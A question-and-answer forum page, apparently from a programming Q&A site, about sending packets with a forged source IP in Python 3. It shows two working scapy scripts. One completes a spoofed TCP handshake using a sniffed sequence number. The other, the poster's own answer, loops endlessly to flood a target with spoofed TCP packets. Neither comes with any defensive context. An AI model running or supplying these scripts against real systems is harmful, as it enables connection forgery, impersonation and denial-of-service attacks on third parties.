IP Spoofing in python 3

Sperly1987 picture Sperly1987 · Aug 15, 2016 · Viewed 14k times · Source

Is it possible to send a spoofed packet with another ip source? I've searched on the net and I found out that I need to use scapy library. I have this script that I found:

import sys
from scapy.all import *

if len(sys.argv) != 4:
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")

seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print ("Okay, final ACK sent. Check netstat on your target :-)")

But I don't get what does it mean "Enter the sniffed sequence number now:"

Also, is it possible to avoid using scapy, and use socket library instead? If yes, can you tell me the way?

Answer

Sperly1987 picture Sperly1987 · Aug 20, 2016

solved on my own using scapy library:

from scapy.all import *

A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload

while True:
    spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
    send(spoofed_packet)